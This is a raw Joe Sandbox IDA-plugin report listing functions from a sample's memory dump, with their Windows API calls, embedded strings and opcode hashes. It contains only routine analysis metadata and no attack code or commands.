Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 258715311-1154884017
Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction ID: 40ddacb4b7b503d734f5daf6660a7e6d523c4c2ac3d0fc34367e739cbb906c3b
Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction Fuzzy Hash: 4771E732A45B5682EB65CF2994646F927A0FB4AF94F040635EE1D877DADF3CE845C300

Function 00007FF6B5BD03D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6B5BD0422
GetFileSize.KERNEL32 ref: 00007FF6B5BD0436
GlobalAlloc.KERNEL32 ref: 00007FF6B5BD0445
CloseHandle.KERNEL32 ref: 00007FF6B5BD0456
GlobalLock.KERNEL32 ref: 00007FF6B5BD0466
ReadFile.KERNEL32 ref: 00007FF6B5BD047E
GlobalUnlock.KERNEL32 ref: 00007FF6B5BD0489
CloseHandle.KERNEL32 ref: 00007FF6B5BD0492
CreateStreamOnHGlobal.OLE32 ref: 00007FF6B5BD04A8
OleLoadPicture.OLEAUT32 ref: 00007FF6B5BD04CB
GlobalFree.KERNEL32 ref: 00007FF6B5BD04DE
GetObjectW.GDI32 ref: 00007FF6B5BD0508
CopyImage.USER32 ref: 00007FF6B5BD0541
DeleteObject.GDI32 ref: 00007FF6B5BD056E
SendMessageW.USER32 ref: 00007FF6B5BD058D

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction ID: 1fb66a358aece32e88780662c4859fbe93c2e72a120f468566ac37d2c58cb771
Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction Fuzzy Hash: F2516A36B54B4586EB14CF6AE868AAD33A0FB49F99B504131DE1E83B99DF3DD805C700

Function 00007FF6B5BA246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF6B5BA2590
wcscat.LIBCMT ref: 00007FF6B5BA25A3
wcscat.LIBCMT ref: 00007FF6B5BA25E1
wcscat.LIBCMT ref: 00007FF6B5BA25F4

Part of subcall function 00007FF6B5B267D8: _fread_nolock.LIBCMT ref: 00007FF6B5B26805

GetTempPathW.KERNEL32 ref: 00007FF6B5BA271B
GetTempFileNameW.KERNEL32 ref: 00007FF6B5BA2737

Part of subcall function 00007FF6B5B548E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B54835

DeleteFileW.KERNEL32 ref: 00007FF6B5BA2854
DeleteFileW.KERNEL32 ref: 00007FF6B5BA28BB

Strings

aut, xrefs: 00007FF6B5BA2729

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
String ID: aut
API String ID: 130057722-3010740371
Opcode ID: 9e3bb30c6d43dfc108f49b63acd44aa3cfb888b98a274a36fddad15c1dafbe64
Instruction ID: d1c5fe3f4a355f521d644352cfe80b438e65bc836cefe278a485b7e2d771be92
Opcode Fuzzy Hash: 9e3bb30c6d43dfc108f49b63acd44aa3cfb888b98a274a36fddad15c1dafbe64
Instruction Fuzzy Hash: 7CC1333661868695EB20DF29E8616E97760FB86B88F404036EB4D87B5EDF7CDA05C700

Function 00007FF6B5BCE40C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6B5BCE510
CreateWindowExW.USER32 ref: 00007FF6B5BCE5BC
SendMessageW.USER32 ref: 00007FF6B5BCE5E3
SendMessageW.USER32 ref: 00007FF6B5BCE5F8
DestroyWindow.USER32 ref: 00007FF6B5BCE61C
CreateWindowExW.USER32 ref: 00007FF6B5BCE675
SendMessageW.USER32 ref: 00007FF6B5BCE692
GetDesktopWindow.USER32 ref: 00007FF6B5BCE6AE
GetWindowRect.USER32 ref: 00007FF6B5BCE6BB
SendMessageW.USER32 ref: 00007FF6B5BCE6D0
SendMessageW.USER32 ref: 00007FF6B5BCE6EE

Strings

tooltips_class32, xrefs: 00007FF6B5BCE570, 00007FF6B5BCE63F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopRect
String ID: tooltips_class32
API String ID: 2443926738-1918224756
Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction ID: d2a90bd3a82cbde82beefb01e0e9616dce42c340e33b0f16f8c4eb53cb0fb078
Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction Fuzzy Hash: E9918636A18A8586EB50CB69E4A47EC37A1EB89F84F104036DF4D87B99DF3CD845C710

Function 00007FF6B5BA87CC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

wcscat.LIBCMT ref: 00007FF6B5BA898D
wcscat.LIBCMT ref: 00007FF6B5BA899E
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BA89AF
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BA89BC
GetFileAttributesW.KERNEL32 ref: 00007FF6B5BA89ED
SetFileAttributesW.KERNEL32 ref: 00007FF6B5BA8A03
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BA8A14
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BA8A76
wcscpy.LIBCMT ref: 00007FF6B5BA8A88
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5BA8AC5

Strings

*.*, xrefs: 00007FF6B5BA8A7C

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
String ID: *.*
API String ID: 4125642244-438819550
Opcode ID: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
Instruction ID: d6c9a2a1063c2b3934d9750e2d07e6e7434041ee114c0b5d6b0f200c9ece360e
Opcode Fuzzy Hash: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
Instruction Fuzzy Hash: E3818022A18A8286EB54DF19D8606FD73A0FB45F84F840036EB4E87A9ADF7DDD45C700

Function 00007FF6B5B9A40C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF6B5B9A4B8
SetMenuItemInfoW.USER32 ref: 00007FF6B5B9A4F0
Sleep.KERNEL32 ref: 00007FF6B5B9A503
GetMenuItemCount.USER32 ref: 00007FF6B5B9A549
GetMenuItemID.USER32 ref: 00007FF6B5B9A566
GetMenuItemID.USER32 ref: 00007FF6B5B9A58D
GetMenuItemID.USER32 ref: 00007FF6B5B9A5CB
CheckMenuRadioItem.USER32 ref: 00007FF6B5B9A610
GetMenuItemInfoW.USER32 ref: 00007FF6B5B9A62B
SetMenuItemInfoW.USER32 ref: 00007FF6B5B9A650

Strings

P, xrefs: 00007FF6B5B9A432

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: P
API String ID: 1460738036-3110715001
Opcode ID: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
Instruction ID: 251cc79462f1baebc8705608ea22577e09ac8184f40fb8647f08cccb9e1ea6e0
Opcode Fuzzy Hash: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
Instruction Fuzzy Hash: 6471E126A0868286F761DF2894642FD27A1FB96F48F544035DB4E8769BCE7CEC46C700

Function 00007FF6B5BA3268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6B5BA32C5
LoadStringW.USER32 ref: 00007FF6B5BA32EB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6B5BA3433
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6B5BA344F

Strings

"%s" (%d) : ==> %s:, xrefs: 00007FF6B5BA3441
Incorrect parameters to object property !, xrefs: 00007FF6B5BA33B0
Line %d (File "%s"):, xrefs: 00007FF6B5BA3338
Error: , xrefs: 00007FF6B5BA33E1
^ ERROR , xrefs: 00007FF6B5BA339F
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF6B5BA341A

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-3080491070
Opcode ID: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
Instruction ID: 5b1559451e49a07bac2950def3579068bda8bb693bf31865e293da002420eb13
Opcode Fuzzy Hash: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
Instruction Fuzzy Hash: 6E617F22B18A4296EB00DB69E8615ED6761FB46F44F901032EB4D9369FCF7DED06C740

Function 00007FF6B5B974B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(000087FFFFFE03FF,00007FF6B5B6EA7B,?,?,?,?,?,?,?), ref: 00007FF6B5B974EA
LoadStringW.USER32 ref: 00007FF6B5B97505
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 00007FF6B5B9751A
LoadStringW.USER32 ref: 00007FF6B5B9752C
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6B5B9766D
MessageBoxW.USER32 ref: 00007FF6B5B97685

Strings

Line %d (File "%s"):, xrefs: 00007FF6B5B9757F
^ ERROR, xrefs: 00007FF6B5B975F2
Error: , xrefs: 00007FF6B5B97623
Line %d:, xrefs: 00007FF6B5B9758D
%s (%d) : ==> %s: %s %s, xrefs: 00007FF6B5B97650

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 4051287042-2268648507
Opcode ID: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
Instruction ID: 12c8ca1f3654e625b5aa502bb870cb28543a91cd368d41db66cdd675cee78b23
Opcode Fuzzy Hash: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
Instruction Fuzzy Hash: CE518121B18A4691EB00EB69E8614FD6761FF96B54B801032EB0D8369FDFBDED06C740

Function 00007FF6B5B9D4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00007FF6B5B9D4B9
Sleep.KERNEL32 ref: 00007FF6B5B9D4D7
EnumThreadWindows.USER32 ref: 00007FF6B5B9D4FF
FindWindowExW.USER32 ref: 00007FF6B5B9D528
SetActiveWindow.USER32 ref: 00007FF6B5B9D54B
SendMessageW.USER32 ref: 00007FF6B5B9D55F

Part of subcall function 00007FF6B5B9B5D4: GetWindowThreadProcessId.USER32 ref: 00007FF6B5B9B608
Part of subcall function 00007FF6B5B9B5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B9B610

SendMessageW.USER32 ref: 00007FF6B5B9D57F
Sleep.KERNEL32 ref: 00007FF6B5B9D58A
IsWindow.USER32 ref: 00007FF6B5B9D597
EndDialog.USER32 ref: 00007FF6B5B9D5AA

Part of subcall function 00007FF6B5B9B5D4: GetWindowThreadProcessId.USER32 ref: 00007FF6B5B9B5F0
Part of subcall function 00007FF6B5B9B5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B9B5F8
Part of subcall function 00007FF6B5B9B5D4: AttachThreadInput.USER32 ref: 00007FF6B5B9B61D

Strings

BUTTON, xrefs: 00007FF6B5B9D51F

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
String ID: BUTTON
API String ID: 3935177441-3405671355
Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction ID: 837e107a24fdb5ec4706db6b8144e3236746b845a9294f42f63fd2a178f03319
Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction Fuzzy Hash: 57312D25A09A0786F7109B2EF875BF52262AF96F44F444035D70E866DBCF2CAC858700

Function 00007FF6B5B215EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6B5B216C8
KillTimer.USER32 ref: 00007FF6B5B217A3
DestroyAcceleratorTable.USER32 ref: 00007FF6B5B69AB2

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Destroy$AcceleratorKillTableTimerWindow
String ID:
API String ID: 1974058525-0
Opcode ID: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
Instruction ID: 47cbc5581192e679fcfd98dc7e3e5035db56a38a2623680c267903ff97a82d6d
Opcode Fuzzy Hash: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
Instruction Fuzzy Hash: 7A914A26A09A0286EB659F19D4656F83760BF86F84F584135CB4EC739ECF3DEC418710

Function 00007FF6B5BA4708 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF6B5BA4795
GetDriveTypeW.KERNEL32 ref: 00007FF6B5BA4A03
wcscpy.LIBCMT ref: 00007FF6B5BA4AA7

Strings

network, xrefs: 00007FF6B5BA48EC
unknown, xrefs: 00007FF6B5BA498F
fixed, xrefs: 00007FF6B5BA4890
cdrom, xrefs: 00007FF6B5BA47F7
removable, xrefs: 00007FF6B5BA484A
ramdisk, xrefs: 00007FF6B5BA493F
all, xrefs: 00007FF6B5BA47A0

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: BuffCharDriveLowerTypewcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 1561581874-1000479233
Opcode ID: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
Instruction ID: 506a9cf2e655b914a32afe05eaa52ecc267810c8fb461eefc02911eccd86589e
Opcode Fuzzy Hash: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
Instruction Fuzzy Hash: 8FD1E122E0869685EA24AB1DD5601FAA3A0FB56FD4F404231EB5D937DEDF3CED458300

Function 00007FF6B5B8FF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 243windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF6B5B8FFAC
SendMessageTimeoutW.USER32 ref: 00007FF6B5B900C8
GetClassNameW.USER32 ref: 00007FF6B5B9013C
GetDlgCtrlID.USER32 ref: 00007FF6B5B90193
GetWindowRect.USER32 ref: 00007FF6B5B901B9
GetParent.USER32 ref: 00007FF6B5B901D6
ScreenToClient.USER32 ref: 00007FF6B5B901E6
GetClassNameW.USER32 ref: 00007FF6B5B90281
GetWindowTextW.USER32 ref: 00007FF6B5B902C1

Strings

%s%u, xrefs: 00007FF6B5B90044

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
String ID: %s%u
API String ID: 1412819556-679674701
Opcode ID: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
Instruction ID: e1bd31f0978cc4e71321c170bd42bc24cb26b3c879b7322b9df7fcb7463adfad
Opcode Fuzzy Hash: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
Instruction Fuzzy Hash: 5EB1D372B0868696EB29CB29D864AF97760FB56F84F400031DB1D8778BDF39E955C700

Function 00007FF6B5B9176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF6B5B917DA
GetWindowTextW.USER32 ref: 00007FF6B5B91815
CharUpperBuffW.USER32 ref: 00007FF6B5B91833
wcsstr.LIBVCRUNTIME ref: 00007FF6B5B91866
GetClassNameW.USER32 ref: 00007FF6B5B9189C
GetWindowTextW.USER32 ref: 00007FF6B5B918D0
GetClassNameW.USER32 ref: 00007FF6B5B9191B
GetClassNameW.USER32 ref: 00007FF6B5B91951
GetWindowRect.USER32 ref: 00007FF6B5B919CF

Strings

ThumbnailClass, xrefs: 00007FF6B5B918A7, 00007FF6B5B91926

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
String ID: ThumbnailClass
API String ID: 4010642439-1241985126
Opcode ID: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
Instruction ID: 5a1c3a27641b60af05de98c65fef097da8281f79422df747264be6dfe8edd6ca
Opcode Fuzzy Hash: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
Instruction Fuzzy Hash: 3FA1B522B0864787EA248F19D4646F96761FB96B84F408035CB9E83A9BDF3DFD05CB00

Function 00007FF6B5B21504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(?,?,00000000,?,?,00007FF6B5B212EF), ref: 00007FF6B5B699AC
ExtractIconExW.SHELL32 ref: 00007FF6B5B699CD
LoadImageW.USER32 ref: 00007FF6B5B699EB
ExtractIconExW.SHELL32 ref: 00007FF6B5B69A0C
SendMessageW.USER32 ref: 00007FF6B5B69A2F
DestroyIcon.USER32 ref: 00007FF6B5B69A3E
SendMessageW.USER32 ref: 00007FF6B5B69A64
DestroyIcon.USER32 ref: 00007FF6B5B69A73

Strings

P, xrefs: 00007FF6B5B699D3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID: P
API String ID: 1268354404-3110715001
Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction ID: 850ec75ab312fe8b064e4a7c59bf303f1fc6533fef292b10ca0d64d1c7407347
Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
Instruction Fuzzy Hash: 2561A236A08A418AEB549F2998616F927A0FB86F98F144535DF0E8379EDF3DE8408700

